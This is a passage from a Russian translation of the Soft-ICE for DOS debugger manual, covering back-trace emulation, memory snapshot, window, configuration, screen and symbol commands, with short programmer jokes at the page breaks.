C

C -- Сравнить два блока данных

Синтаксис:


 C адрес1 L длина адрес2
 

длина -- длина в байтах

Комментарии:

Команда C сравнивает блок памяти, определенный адресом1 и длиной с блоком памяти определенным адресом2 и длиной. Когда байт из первого блока данных не соответствует байту из второго блока данных, оба байта выводятся на экран вместе с их адресами.

Пример:


 C 5000:100 L 10 6000:100
 

Эта команда сравнивает 10H байтов, начинающихся с ячейки памяти 5000:100 с 10H байтами, начинающимися с ячейки памяти 6000:100.

5.6 Специализированные Отладочные Команды

Команды:

SHOW -- Выводит команды из буфера истории исполнения
TRACE -- Включает режим эмуляции пошагового исполнения
XT -- Одиночный шаг в режиме эмуляции трассировки
XP -- Программный шаг в режиме эмуляции трассировки
XG -- Переход по адресу в режиме эмуляции трассировки
XRSET -- Сброс буфера истории обратной трассировки
VECS -- Сохранение/восстановление/сравнение векторов прерываний
SNAP -- Запоминает содержимое блока памяти (snap shot)
EMMMAP -- Отображают карту распределения EMM

SHOW

SHOW -- Выводит команды из буфера истории исполнения

Синтаксис:


 SHOW [B | начало]
 

B -- Указывает команде SHOW начать вывод с самой старой команды в буфере обратной трассировки.
начало -- Смещение (в инструкциях) от конца буфера (последней зафиксированной команды) с которого надо начать вывод.

Комментарии:

Команда SHOW отображает команды из буфера истории обратной трассировки. Если для команд доступен исходный текст, то дисплей находится в смешанном режиме, в противном случае отображается только код.

SHOW позволяет просматривать буфер обратной трассировки при помощи клавиш вверх, вниз, PageUp и PaqeDn. Для выхода из SHOW нужно нажать клавишу Esc.

Адресу каждой команды предшествует номер входа в буфер. Этот номер показывает, как глубоко в буфере находится команда. Чем больше номер, тем глубже вы в буфере.

Обратите внимание:

До вызова команды SHOW, команды должны регистрироваться при помощи диапазона обратной трассировки. См. главу 9 для подробной информации о диапазонах.

Подсказки:

Часто полезно иметь видимое окно кода с фактическим кодом области, отображаемой из буфера обратной трассировки. При сравнении фактического исполнения команд с кодом, отображаемыми переходами и обращениями обычно возникает меньше путаницы.

Использование SHOW вместе с командой TRACE позволит вам рассматривать команды в буфере обратной трассировки с двух различных точек зрения.

Пример:


 SHOW 40
 

Этот пример выведет на экран команды из буфера обратной трассировки, начиная с 40-ой инструкции от конца буфера.

TRACE

TRACE -- Включает режим эмуляции пошагового исполнения




Руководство по Soft-ICE (DOS) - 13

- А вы купили бы презерватив с эмблемой MicroSoft?
- Я - нет.
- Почему?
- Да сами задумайтесь - мало того, что MICRO да к тому же еще и SOFT!

Синтаксис:


 TRACE [начало] | [OFF]
 

начало -- Смещение (в инструкциях) от конца буфера (последней зафиксированной команды) с которого надо начать эмуляцию.
OFF -- Выход из режима эмуляции трассировки.

Комментарии:

Команда TRACE позволяет вам повторно "проигрывать" команды из буфера истории обратной трассировки команд, так же как они выполнялись в первый раз. Для использования режима эмуляции трассировки вам необходимо иметь видимое окно кода. После входа в режим эмуляции трассировки используйте команды XT, XP и XG для трассировки команд из буфера.

Для выхода из режима эмуляции трассировки введите TRACE OFF.

TRACE без параметров сообщает включен режим эмуляции трассировки или нет.

Обратите внимание:

До вызова команды TRACE, команды должны регистрироваться при помощи диапазона обратной трассировки. См. главу 9 для подробной информации о диапазонах.

Подсказки:

Режим эмуляции трассировки наиболее полезен, когда видимо окно кода. Часто полезно использовать TRACE вместе с командой SHOW. Это позволяет просматривать инструкции в буфере истории обратной трассировки одновременно в двух различных формах.

Пример:


 TRACE 40
 

Этот пример производит эмуляцию трассировки, начиная с 40-ой инструкции от последней зарегистрированной команды. Режим эмуляции трассировки будет активен, пока не будет введено TRACE OFF.

XT

XT -- Одиночный шаг в режиме эмуляции трассировки

Синтаксис:


 XT [R]
 

R -- Одиночный шаг в обратном направлении.

Комментарии:

Команда XT пошагово проходит буфер истории обратной трассировки инструкций. Эта команда действует подобно команде T для нормальной отладки. Заметьте что в режиме эмуляции трассировки регистры не изменяются, за исключением CS и IP.

Команда XT позволяет вам повторно выполнять команды из буфера истории обратной трассировки.

Обратите внимание:

Для использования XT вы должны быть в режиме эмуляции трассировки. См. главу 9 и команду TRACE из этого раздела для подробной информации о диапазонах обратной трассировки.

Подсказка:

Если вы используете XT часто, то подобно любой другой команде Soft-ICE она может быть привязана к функциональной клавише.

Пример:


 XT
 

Эта команда проходит одну команду в режиме эмуляции трассировки.

XP

XP -- Программный шаг в режиме эмуляции трассировки

Синтаксис:


 XP
 

Комментарии:

Команда XP производит логический программный шаг в буфере истории обратной трассировки инструкций. Эта команда действует подобно команде P для обычной отладки. Заметьте, что в режиме эмуляции трассировки регистры не изменяются, за исключением CS и IP.

Команда XP позволяет вам повторно выполнять команды из буфера истории обратной трассировки.

Обратите внимание:

Для использования XP вы должны быть в режиме эмуляции трассировки. См. главу 9 и команду TRACE из этого раздела для подробной информации о диапазонах обратной трассировки.

Подсказка:

Если вы используете XP часто, то подобно любой другой команде Soft-ICE она может быть привязана к функциональной клавише.

Пример:


 XP
 

Эта команда выполняет один программный шаг в режиме эмуляции трассировки.

XG

XG -- Переход по адресу в режиме эмуляции трассировки

Синтаксис:


 X [R] адрес
 

R -- Поиск адреса в обратном направлении.
адрес -- Адрес, по которому надо перейти в буфере истории обратной трассировки.

Комментарии:

Команда XG перемещает указатель команд на следующее упоминание указанного адреса в буфере истории обратной трассировки. Если перед адресом указан R, то указатель команды перемещается на предыдущее упоминание указанного адреса в буфере обратной трассировки.

Адрес должен указывать на первый байт опкода команды.

XG аналогична команде G при нормальной отладке.

Обратите внимание:

Для использования XG вы должны быть в режиме эмуляции трассировки. См. главу 9 и команду TRACE из этого раздела для подробной информации о диапазонах обратной трассировки.

Пример:


 XG 273:1030
 

Эта команда перемещает указатель команд на следующее упоминание команды по адресу 273:1030.

XRSET

XRSET -- Сброс буфера истории обратной трассировки

Синтаксис:


 XRSET
 

Комментарии:

Команда XRSET сбрасывает буфер истории обратной трассировки. Эта команда должна выполняться перед установкой диапазона обратной трассировки, если в буфере обратной трассировки имеется нежелательная информация о командах.

Пример:


 XRSET
 

Эта команда сбрасывает буфер обратной трассировки.

VECS

VECS -- Сохранение/восстановление/сравнение векторов прерываний

Синтаксис:


 VECS [C|S|R]
 

C -- Сравнить текущую таблицу с сохраненной таблицей
S -- Сохранить текущую таблицу прерываний в буфере
R -- Восстановить таблицу прерываний из буфера

Комментарии:

Команда VECS позволяет вам сохранять и восстанавливать таблицу прерываний из внутреннего буфера Soft-ICE. Также фактическая таблица может сравниваться с сохраненной таблица с отображением различий.

Когда используется опция C, для сравнения текущей таблицы векторов прерываний с сохраненной копией, вывод производится в следующем формате:

адрес старый-вектор новый-вектор

Отображаются все измененные векторы.

Таблица векторов прерываний первоначально сохраняется, при загрузке Soft-ICE. Это Она также автоматически сохраняется при загрузке программы LDR'ом. Хранится только одна копия таблицы векторов прерываний, т.о. при каждом выполнении VECS S, предыдущая копия таблицы прерываний перезаписывается.

Если параметры не указаны, на экран выводится вся таблица векторов прерываний.

Пример:


 VECS C
 

Эта команда сравнивает фактическую таблицу векторов прерываний с предварительно сохраненной во внутреннем буфере векторов Soft-ICE.

SNAP

SNAP -- Запоминает содержимое блока памяти (snap shot)

Синтаксис:


 SNAP [C|S|R] адрес1 адрес2
 

C -- Сравнить буфер с адресным интервалом
S -- Сохранить адресный интервал в буфере
R -- Восстановить адресный интервал из буфера

Комментарии:

Команда SNAP запоминает содержимое блока памяти для последующего сравнения. Опция S копирует блок памяти в буфер в дополнительной памяти (XMS). Опция C отображает различия между буфером в дополнительной памяти и фактической памятью, определенной адресным интервалом. Опция R копирует буфер в дополнительной памяти в адресный интервал в стандартной памяти.

Когда используется опция C, для сравнения буфера с адресным интервалом, вывод производится в следующем формате:

адрес старые-данные новые-данные

Отображаются все измененные байты.

Обычно для опций C и R адрес необязателен. Если адрес не указан, используется адрес, который был указан в последний раз при использовании команды SNAP.

Примечания:

Для использования команды SNAP вы должны указать переключатель /TRA XXXX в строке S-ICE.EXE в CONFIG.SYS.

Команда SNAP сохраняет данные в буфере истории обратной трассировки. Если вы используете обратную трассировку, у вас будет конфликт со SNAP. В силу своей специфики, SNAP перезапишет информацию обратной трассировки, если вы выполните SNAP S, когда история команд находится в буфере обратной трассировки. Наоборот, если вы сохранили область при помощи SNAP, активация диапазона обратной трассировки перезапишет буфер SNAP.

Пример:


 SNAP S 2000:0 4000:0
 

Эта команда сохраняет блок данных с 2000:0 по 4000:0 в буфере обратной трассировки Soft-ICE.

EMMMAP

EMMMAP -- Отображают карту распределения EMM

Синтаксис:




Руководство по Soft-ICE (DOS) - 14

Хоронили Кваку, Порвали три рокет лаунчера.


 EMMMAP
 

Комментарии:

Команда EMMMAP отображает все физические страницы, которые доступны для EMM памяти и страницы, которые в настоящее время отображены.

Обратите внимание:

Для использования этой функции должна быть активирована возможность Soft-ICE EMM. См. главу 8 для подробной информации о предоставлении возможности EMM.

Пример:


 EMMMAP
 

Этот пример отображает текущее распределение EMM и следующей форме.

Физ. страница | Сег. адрес | Дескриптор/Страница(логическая)
00 ¦ D000 ¦ FFFF
01 ¦ D400 ¦ 0001/0000
02 ¦ D800 ¦ 0001/0001
03 ¦ DC00 ¦ 0001/0002

В этом примере, физическая страница 0 размещена в D000 и не отображается. Физическая страница 1 размещена в D400 и имеет дескриптор 1, в нее отображается страница 0. Физическая страница 2 размещена в D800 и имеет дескриптор 1, в нее отображается страница I. Физическая страница 3 размещена в DC00 и имеет дескриптор 1, в нее отображается страница 2.

5.7 Команды Работы с окнами

Команды:

WR -- Переключает окно регистров
WC -- Переключает/устанавливает размер окна кода
WD -- Переключает/устанавливает размер окна данных
EC -- Войти/выйти из окна кода
. -- Найти местоположение текущей команды

Soft-ICE может выводить окна трех типов: регистров, данных и кода. Любое из этих окон может быть активизировано или деактивировано в любое время. Окна данных и кода могут иметь переменный размер; окно регистров фиксировано в размере. Окна всегда остаются в фиксированном порядке. Начиная с верхней части экрана порядок следующий : окно регистров, окно данных, затем окно кода.

WR

WR -- Переключает окно регистров

Синтаксис:


 WR
 

Комментарии:

Команда визуализирует окно регистров, если оно в текущий момент невидимо. Если окно регистров в текущий момент видимо, WR удаляет окно регистров.

Окно регистров отображает набор регистров 8086 и флаги процессора.

Функция, заданная по умолчанию: F2

WC

WC -- Переключает/устанавливает размер окна кода

Синтаксис:


 WC [размер-окна]
 

размер-окна -- десятичное число между единицей и 21.

Комментарии:

Если размер-окна не указан, эта команда переключает окно кода. Если оно не было видимо, оно станет видимым, и если оно было видимо, оно будет удалено.

Если указан размер-окна, окно кода будет изменено или, если оно не было видимо, оно станет видимым с определенным размером.

Обратите внимание:

Если вы хотите переместить курсор в окно кода, используйте команду EC. См. описание команды EC для более подробной информации.

Пример:


 WC 12
 

Если окно кода не присутствует, то создается окно кода высотой 12 строк. Если окно кода в текущий момент - на экране, его высота изменяется на 12 строк.

WD

WD -- Переключает/устанавливает размер окна данных

Синтаксис:


 WD [размер-окна]
 

размер-окна -- десятичное число между единицей и 21.

Комментарии:

Если размер-окна не указан, эта команда переключает окно данных. Если оно не было видимо, оно станет видимым и если оно было видимо, оно будет удалено.

Если указан размер-окна, окно кода будет изменено или, если оно не было видимо, оно станет видимым с определенным размером.

Пример:


 WD 1
 

Если окно данных не присутствует, то создается окно данных высотой в одну строку. Если окно данных в текущий момент - на экране, его высота изменяется на одну строку.

EC

EC -- Войти/выйти из окна кода

Синтаксис:


 EC
 

Комментарии:

Команда EC переключает расположение курсора между окном кода и окном команд. Если курсор был в окне команд, он перемещается в окно кода и если курсор был в окне кода, он перемещается в окно команд.

Когда курсор находится в окне кода, становятся доступными несколько опций, которые намного упрощают отладку. Опции:

* Точки останова типа point-and-shoot Точки останова типа point-and-shoot устанавливаются командой BP. Если в команде BPX параметры не указаны, в ячейку памяти, на которую указывает курсор в окне кода, будет установлена точка останова на выполнение. Курсор должен быть в строке, которая содержит код (переключите окно кода в смешанный режим, если вы не уверены). Заданная по умолчанию функциональная клавиша для BPX - F9.

* Исполнение до строки курсора Вы можете устанавливать временную точку останова в месте положения курсора выполнять команду HERE. Курсор должен находиться в строке, которая содержит код (переключите окно кода в смешанный режим, если вы не уверены). Заданная по умолчанию функциональная клавиша для HERE - F7.

* Прокрутка окна кода Окно кода может быть пролистано только когда курсор находится в окне кода. Клавиши прокрутки (стрелка "ВВЕРХ", стрелка "ВНИЗ", PageUp и PageDown) переопределяются, когда курсор - в окне кода. Когда курсор находится в окне кода, клавиши прокрутки делают следующее:

ВВЕРХ -- Прокрутка окна кода вверх на одну строку
ВНИЗ -- Прокрутка окна кода вниз на одну строку
PageUp -- Прокрутка окна кода на один экран
PageDn -- Прокрутка окна кода один экран

Обратите внимание:

Для того чтобы команда EC работала, Окно кода должно быть видимо. Заданная по умолчанию функциональная клавиша: F6

.

. -- Найти местоположение текущей команды

Синтаксис:


 .
 

Комментарии:

Когда окно кода видимо, команда . делает видимой текущую строку исходного текста или текущую команду.

5.8 Команды Настройки Отладчика

Команды:

PAUSE -- Пауза после каждого экрана
ALTKEY -- Устанавливает альтернативную комбинацию клавиш для вызова Soft-ICE
FKEY -- Отображает и редактирует назначение функциональных клавиш
BASE -- Устанавливает/отображает текущее основание системы счисления
CTRL-P -- Выводит сеанс на принтер
Print-Screen -- Печать содержимого экрана
PRN -- Устанавливает порт для вывода на принтер

PAUSE

PAUSE -- Пауза после каждого экрана

Синтаксис:


 PAUSE [ON | OFF]
 

Комментарии:

PAUSE управляет паузами экрана в конце каждой страницы. Если PAUSE включен, вы должны нажать любую клавишу прежде, чем информация в окне будет прокручена. Подсказка отображается в строке состояния в нижней части окна.

Если параметры не указаны, отображается текущее состояние PAUSE.

Значение по умолчанию - PAUSE ON.

Пример:


 PAUSE ON
 

Эта команда указывает, что последующие команды, отображающие информацию в окне, будут ожидать, пока вы не нажмете клавишу, до прокрутки в окне новой информации.

ALTKEY

ALTKEY -- Устанавливает альтернативную комбинацию клавиш для вызова Soft-ICE

Синтаксис:


 ALTKEY [ALTсимвол] | [CTRLсимвол] | [SYSREQ]
 

символ -- любой символ (A - Z)

Комментарии:

Команда ALTKEY позволяет изменять комбинацию клавиш для вызова Soft-ICE. Комбинация клавиш изменяется на CTRL + символ, ALT + символ или клавишу SysRq.

Иногда вы можете использовать программу, которая конфликтует с комбинацией клавиш CTRL D, вызывающей окно Soft-ICE. Один из способов обойти эту возможную проблему - использование команды ALTKEY для изменения комбинации клавиш. Другой способ - добавить клавишу SHIFT к текущей комбинации. Soft-ICE не отвечает на эту комбинацию клавиш и позволяет ей вызвать вашу программу. Например, если резидентная программа, которую вы используете, вызывается комбинацией клавиш CTRL D, попробуйте использовать комбинацию CTRL SHIFT D для вызова вашей резидентной программы. На некоторых клавиатурах, для генерации системного запроса вы должны одновременно нажать клавиши ALT и prtsc. Надо действовать с осторожностью, чтобы случайно не был распечатан экран.

Если параметры не указаны, отображается текущее состояние комбинации клавиш.

Заданная по умолчанию комбинация клавиш - CTRL D.

Пример:


 ALTKEY ALT Z
 

Эта команда указывает, что комбинация клавиш ALT Z будет теперь использоваться для вызова окна Soft-ICE.

FKEY

FKEY -- Отображает и редактирует назначение функциональных клавиш

Синтаксис:


 FKEY [название-функциональной-клавиши строка]
 

название-функциональной-клавиши -- F1, F2 ... F12




Руководство по Soft-ICE (DOS) - 15

286-й, зараженный вирусом, спрашивает программиста-философа:
- Программист, я буду жить?
- А смысл?

строка -- Строка состоит из любых допустимых для Soft-ICE команд и специальных символов ^ (каретка) и ; (точка с запятой).
Знак ^, помещается в строку, чтобы сделать команду невидимой.
Знак ; помещается в строку, чтобы обозначить возврат каретки.

Комментарии:

Команда FKEY используется в командной строке для назначения функциональной клавише строки команд. Функциональной клавише может быть назначена любая строка команд, которая может быть напечатана в Soft-ICE.

Если параметры не указаны, отображаются текущие назначения функциональных клавиш.

Для отмены назначения определенной функциональной клавиши, используйте команду FKEY с параметрами: название-функциональной-клавиши с пустой строкой.

Функциональные клавиши могут также быть объявлены заранее в файле определений S-ICE.DAT. Для подробной информации об объявления функциональных клавиш в файле определений, обратитесь к разделу 6.4.

Использование символов возврата каретки в строке назначения функциональной клавиши позволяет назначить функциональной клавише ряд команд. Возврат каретки обозначается символом ; (точка с запятой).

Если Вы помещаете знак ^ (shift 6) перед определением функциональной клавиши, последующая команда будет невидима. Команда будет функционировать как обычно, но вся информация, отображаемая в окне команд (включая сообщения об ошибках) будет подавляться. Невидимый режим полезен, когда команда изменяет информацию в окне (кода, регистров или данных) но вы не хотите помех в окне команд.

Когда функциональная клавиша сделана невидимой при помощи знака ^, она может использоваться во время ввода других команд без воздействия на их выполнение. Например, если вы используете заданное по умолчанию назначение для F2, вы можете переключать окно регистров клавишей F2, даже если вы частично ввели вашу следующую команду.

Обратите внимание:

У Soft-ICE теперь есть файл определений - S-ICE.DAT. Вы можете поместить назначения функциональных клавиш в этот файл и функциональные клавиши будут автоматически назначены, при загрузке Soft-ICE. Вот синтаксис для назначения функциональных клавиш в файле конфигурации:

название-функциональной-клавиши = "строка"

При назначении функциональной клавише строки команд в S-ICE.DAT, строка должна быть заключена в двойные кавычки.

Примеры командной строки:


 FKEY F2 ^WR;
 

Этот пример назначит команду переключения окна регистров клавише F2. Знак ^ делает функцию невидимой и знак ; завершает функцию возвратом каретки. Клавиша F2 активизирует или деактивирует окно регистров и даже может быть вызвана при вводе другой команды.


 FKEY F1 "G CS:120; R; G CS:"
 

Этот пример показывает, что одной функциональной клавише может быть назначено несколько команд и что могут быть назначены частичные команды для их завершения пользователем. После того, как эта команда введена, нажатие клавиши F1 вызовет выполнение программы до достижения ячейки CS:120, вывод на экран регистров, затем начало выполнения команды G для ее завершения пользователем.


 FKEY F1 WD 3;D DS:100;
 

Этот пример назначит ряд команд клавише F1. Функция видима и заканчивается возвратом каретки. Клавиша F1 изменит высоту окна данных на три строки и установит начало дампа в DS:100. Пример S-ICE.DAT:


 F1 = "WR;WD 2;WC 10;"
 

Если эта строка помещена в S-ICE.DAT, при загрузке Soft-ICE эта будет строка назначена клавише F1. Нажатие F1 при работе в Soft-ICE переключит окно регистров, создаст окно данных высотой 2 строки и окно кода высотой 10. Для подробной информации относительно назначения определений функциональным клавишам в S-ICE.DAT, обратитесь к главе 6.

BASE

BASE -- Устанавливает/отображает текущее основание системы счисления

Синтаксис:


 BASE [10 | 16]
 

Комментарии:

Команда BASE устанавливает основание системы счисления в 10 или 16. Основание 10 ограничено в использовании в узком окне из-за ограничений ширины окна. Также ограничивается количество информации, отображаемой в некоторых командах в режиме полной ширины экрана.

Когда текущее основание системы счисления - 10, все числа и адреса, вводимые и отображаемые Soft-ICE десятичными. Когда основание системы - 16, все числа и адреса, вводимых в Soft-ICE являются шестнадцатеричными, за исключением:
* Номеров строк исходного текста
* Координаты экрана и размеры в команде WIN

Эти исключения всегда вводятся и отображаются как десятичные числа.

Заданное по умолчанию основание системы счисления - 16.

Пример:


 BASE 16
 

Этот пример устанавливает текущее основание системы счисления в 16.

CTRL-P

CTRL-P --- Выводит сеанс на принтер

Синтаксис:


 CTRL-P
 

Комментарии:

Когда нажаты клавиши CTRL и P, вся последующая информация, отображаемая в окне команд, также посылается на принтер. Для отмены вывода сеанса на принтер, повторно нажмите клавиши CTRL и P.

Когда вы посылаете много информации на принтер, используя CTRL-P, вы может пожелать отменить команду PAUSE и позволить информации пролистываться в окне без нажатия клавиши.

Print-Screen

Print-Screen - Печать содержимого экрана

Синтаксис:


 Print-Screen
 

Комментарии:

Нажатие клавиши print-screen производит дамп экрана на принтер. Вся информация с экрана посылается на принтер.

Если вы хотите распечатать карту памяти или информацию помощи, обычно намного быстрее использовать CTRL-P, чем Print-Screen. Это потому что Print-Screen печатает все символы на экране, включая рамки.

PRN

PRN --- Устанавливает порт для вывода на принтер

Синтаксис:


 PRN [LPTx | COMx]
 

x -- десятичное число между 1 и 4.

Комментарии:

Команда PRN позволяет вам переслать вывод от команд CTRL-P и Print-Screen в другой порт принтера.

Если параметры не указаны, PRN отображает текущий порт, назначенный для принтера.

Пример:


 PRN COM 1
 

Эта команда вызывает перевод вывода от команд CTRL-P и Print-Screen в порт COM 1.

5.9 Команды Управления Экраном

Команды:

FLASH -- Восстанавливает экран при выполнении команд P и T
FLICK -- Снижение нежелательного мерцания экрана ("снега")
WATCHV -- Включает отслеживание видеорежимов
RS -- Восстанавливает экран программы
CLS -- Очищает окно
ALTSCR -- Изменяет экран на альтернативный
WIN -- Изменяет размер окна Soft-ICE

FLASH

FLASH -- Восстанавливает экран при выполнении команд P и T

Синтаксис:


 FLASH [ON | OFF]
 

Комментарии:

Команда FLASH позволяет вам указывать, будет ли экран восстанавливаться в течение любых команд трассировки или программных шагов. Если вы укажете, что экран должен восстанавливаться, он восстанавливается за краткий период времени пока выполняется команда P или T. Эта возможность необходима для отладки участков кода, осуществляющих доступ к видеопамяти.

Если команда P выполняется для обращения или прерывания, экран всегда будет восстанавливаться, потому что вызываемая подпрограмма может записывать на экран.

Если параметры не указаны, отображается текущее состояние FLASH.

Значение по умолчанию - FLASH OFF.

Пример:


 FLASH ON
 

Эта команда включает режим FLASH. Экран будет восстанавливаться в течение любых последующих команд P или T.

FLICK

FLICK -- Снижение нежелательного мерцания экрана ("снега")

Синтаксис:


 FLICK [ON | OFF]
 

Комментарии:

Некоторые типы видеоплат требуют ожидания горизонтального или вертикального обратного хода перед выводом символов. Если запись в видеопамять сделана произвольно, при отображении символов появится мерцание. Если при использовании окна Soft-ICE на вашем экране происходит мерцание, вы должны включить FLICK.

На некоторых платах EGA при выходе из Soft-ICE цвета будут восстановлены некорректно. Это - проблема виртуализации видео EGA. Порт 3DA является видеопортом для двух целей. Первая - опрос старыми программами CGA 3DA для hsync и vsync. Это позволяет им избежать "снега" при выводе на некоторых старых платах с контроллером CGA. Вторая - сброс регистра-защелки палитры на платах EGA. В Soft-ICE есть алгоритм, позволяющий избежать необходимости постоянно опрашивать этот порт, которая замедлила бы старые программы, которые предназначены для CGA. Однако возможно случайное возникновение обстоятельств, когда этот алгоритм не сработает. Если вы используете Soft- ICE на экране EGA и вы заметили, что цвета восстанавливаются некорректно, включите FLICK и Soft-ICE будет опрашивать порт 3DA, разрешая проблему.

Когда включен режим FLICK, обновление экрана будет замедлено.

Если параметр не указаны, отображается текущее состояние FLICK.

Значение по умолчанию - FLICK OFF.

Пример:


 FLICK ON
 

Эта команда включает режим FLICK. Это заставляет Soft-ICE ожидать горизонтального или вертикального обратного хода перед выводом символов.

WATCHV




Руководство по Soft-ICE (DOS) - 16

Подходит сынок к папе и спрашивает:
- Папа что значит HDD Format complite?
- Это значит, что ты сейчас умрешь!!!

WATCHV -- Включает отслеживание видеорежимов

Синтаксис:


 WATCHV [ON | OFF]
 

Комментарии:

Команда WATCHV позволяет вам указать, как Soft-ICE должен отслеживать видеопорты. Обычно, Soft-ICE отслеживает видео порты только после выполнения команды INT 10, которая переключает адаптер в графический видеорежим. Некоторые программы не используют INT 10 для переключения режимов. В этих случаях, если WATCHV выключен, у Soft-ICE могут быть проблемы с корректным сохранением и восстановлением экрана. Включение WATCHV заставит Soft-ICE постоянно отслеживать видео порты.

Включите WATCHV, если вы заметите, что Soft-ICE некорректно обрабатывает ваш экран, или если некорректно восстанавливается курсор. Активизация WATCHV может воздействовать на эффективность в некоторых видеорежимах.

Если параметры не указаны, отображается текущее состояние WATCHV.

Значение по умолчанию - WATCHV OFF.

Пример:


 WATCHV ON
 

Эта команда включает режим WATCHV. Это заставит Soft-ICE отслеживать дополнительные видео порты в целях виртуализации.

RS

RS -- Восстанавливает экран программы

Синтаксис:


 RS
 

Комментарии: Команда RS позволяет вам временно восстанавливать экран программы. Окно Soft-ICE исчезает, пока не будет нажата любая клавиша.

Эта возможность полезна при отладке графических программ, часто модифицирующих экран. При вызове Soft-ICE, он возвращается в текстовый режим. Использование команды RS временно восстанавливает графический экран.

Пример:


 RS
 

CLS

CLS -- Очищает окно

Синтаксис:


 CLS
 

Комментарии:

Команда CLS очищает окно Soft-ICE и перемещает подсказку и курсор в левый верхний угол окна.

Пример:


 CLS
 

ALTSCR

ALTSCR -- Изменяет экран на альтернативный

Синтаксис:


 ALTSCR [ON | OFF]
 

Комментарии:

Команда ALTSCR позволяет вам переназначить вывод Soft-ICE из вашего экрана, заданного по умолчанию, на альтернативный экран. Эта возможность полезна, например, когда вы хотите отлаживать графическую программу, без необходимости переключения между окном Soft-ICE и графическим экраном.

ALTSCR требует от системы двух подсоединенных мониторов. Альтернативный монитор должен быть в текстовом режиме, который является заданным по умолчанию для мониторов.

Значение по умолчанию - ALTSCR OFF.

Пример:


 ALTSCR ON
 

Эта команда переназначает экранный вывод на альтернативный монитор.

WIN

WIN -- Изменяет размер окна Soft-ICE

Синтаксис:


 WIN [N | W] [строка-начала длина [столбец-начала]]
 

N -- Когда задан N, окно будет установлено в узкий режим: 46 символов.
W -- Когда задан W, окно будет установлено в полноэкранный режим.
строка-начала -- Число от 0 до 17 указывающий строку где начинается отображение окна.
длина -- Число от 8 до 25 указывающее, желаемую высоту окна в строках.
столбец-начала -- Позиция столбца левой стороны узкого окна. Строка-начала и столбец-начала определяют левый верхний угол узкого окна. Столбец-начала игнорируется, если применяется к широкому окну (во весь экран).

Комментарии:

Команда WIN позволяет вам изменять ширину и высоту окна Soft-ICE на экране.

Если параметры не указаны, эта команда переключает окно между широким и узким режимом вывода на экран.

Если в команде WIN указан только параметр N или W, размер окна будет изменен на запрошенную ширину при текущей высоте. Если число строк плюс начальный номер строки больше чем 25, окно растягивается до нижней части экрана.

Значение по умолчанию - узкий режим WIN.

Примеры:


 WIN N 4 9 30
 

Эта команда заставляет окно выводиться со строки 4 и столбца 30 и быть 9 строк высоты и 46 символов ширины.

WIN

Эта команда переключает ширину окна из текущего состояния (широкое или узкое) в противоположное состояние.


 WIN W 10 8
 

Эта команда заставляет окно начинаться в строке 10, быть 8 строк высоты и иметь ширину экрана.

5.10 Команды Работы с Символами и Строками Исходного Текста

Команды:

SYM -- Вывести/установить символ
SYMLOC -- Переместить базу символа
SRC -- Переключает между исходным текстом, смешанным режимом и кодом
FILE -- Изменить/вывести текущий исходный текст
SS -- Найти строку в текущем файле с исходным текстом

SYM

SYM -- Вывести/установить символ

Синтаксис:


 SYM [имя-символа [значение]]
 

имя-символа -- Допустимое имя символа. Имя символа может заканчиваться знаком * (звездочкой). Это позволяет искать, если известна только первая часть имени символа. Знак , (запятая) может использоваться как знак-маска вместо знака в имени символа.

значение -- Это - значение типа СЛОВО, которое используется если вы хотите присвоить символу определенное значение.

Комментарии:

Команда SYM позволяет отображать и устанавливать символы. Если SYM введена без параметров, отображаются все символы. Значение каждого символа отображается рядом с именем символа.

Если имя символа указано без значения, то отображаются имя символа и его значение. Если имя символа не было найдено, ничего не выводится.

Команда SYM часто полезна для нахождения имени символа, когда помните только часть имени. Для поиска символов доступны два метода поиска по маске. Если имя символа заканчивается знаком *, то выводятся все символы, которые совпадают с фактическими буквами, указанными до знака *, независимо от завершающих букв. Если знак , используется вместо определенной буквы в имени символа, то этот знак является символом- маской.

Если указано значение, всем символам, соответствующим имени-символа, присваивается указанное значение. Все символы имеют значения типа СЛОВО.

Примеры:


 SYM FOO*
 

Отображаются все символы, которые начинаются с FOO.


 SYM FOO* 6000
 

Всем символам, которые начинаются с FOO, присваивается значение 6000.

SYMLOC

SYMLOC -- Переместить базу символа

Синтаксис:


 SYMLOC адрес-сегмента
 

Комментарии:

Команда SYMLOC перемещает сегментные компоненты всех символов относительно указанного адреса-сегмента. Эта функция необходима при отладке загружаемых драйверов устройств или других программ, которые не могут быть непосредственно загружены LDR.EXE.

При настройке для загружаемого драйвера устройства, используйте значение базы адреса драйвера, найденного в команде MAP. При настройке для .EXE-программы, значение должно быть на 10H больше чем найденная база в команде MAP. При настройке для .COM-программы, используйте адрес базового сегмента, найденного в команде MAP.

Команда MAP отобразит, по крайней мере, два входа для каждой программы. Первый - обычно среда, а второй - обычно сама программа. Базовый адрес программы - значение перемещения.

Пример:


 SYMLOC 1244 + 10
 

Это переместит все сегменты в таблице идентификаторов относительно 1244. + 10 используется, чтобы переместить TSR бывший первоначально .EXE-файлом. Если это - .COM-файл + 10 не обязательно.

SRC

SRC -- Переключает между исходным текстом, смешанным режимом и кодом

Синтаксис:


 SRC [?]
 

Комментарии:

Команда SRC переключает между режимом исходного текста, смешанным режимом и режимом кода в окне кода.

Если введено SRC ?, отображается текущее состояние.

Пример:


 SRC
 

Эта команда изменяет текущий режим окна кода. Если режим был режимом исходного текста, он становится смешанным. Если режим был смешанным, он становится режимом кода. Если режим был режимом кода, он становится режимом исходного текста.




Руководство по Soft-ICE (DOS) - 17

- Вы кем работаете?
- Я фармацевт.
- А, значит в аптеке работаете.
- Нет, диск С форматирую.

Функциональная клавиша по умолчанию: F3

FILE

FILE -- Изменить/вывести текущий исходный текст

Синтаксис:


 FILE [имя файла]
 

Комментарии:

Если имя файла указано, этот файл становится текущим файлом и начало файла выводится в окне кода. Если имя не указано, выводится имя текущего файла (если он есть) с исходным текстом.

Команда FILE часто полезна при установке точки останова в строке, которая не ассоциирована ни с одним публичным символом. Используйте FILE, для вызова желаемого файла в окно кода, используйте команду SS для поиска определенной строки, переместите в нее курсор и введите BPX для установки точки останова.

Обратите внимание:

Для команды FILE доступны только файлы с исходным текстом, загруженные в дополнительную память (XMS) программой LDR.EXE.

Пример:


 FILE MAIN.C
 

Если MAIN.C был загружен LDR.EXE, эта команда выводит его в окно кода, начиная со строки 1.

SS

SS -- Найти строку в текущем файле с исходным текстом

Синтаксис:


 SS [номер-строки] ['строка']
 

номер-строки -- десятичное число
строка -- символьная строка, заключенная в кавычки. Кавычки могут быть как одиночными так и двойными.

Комментарии:

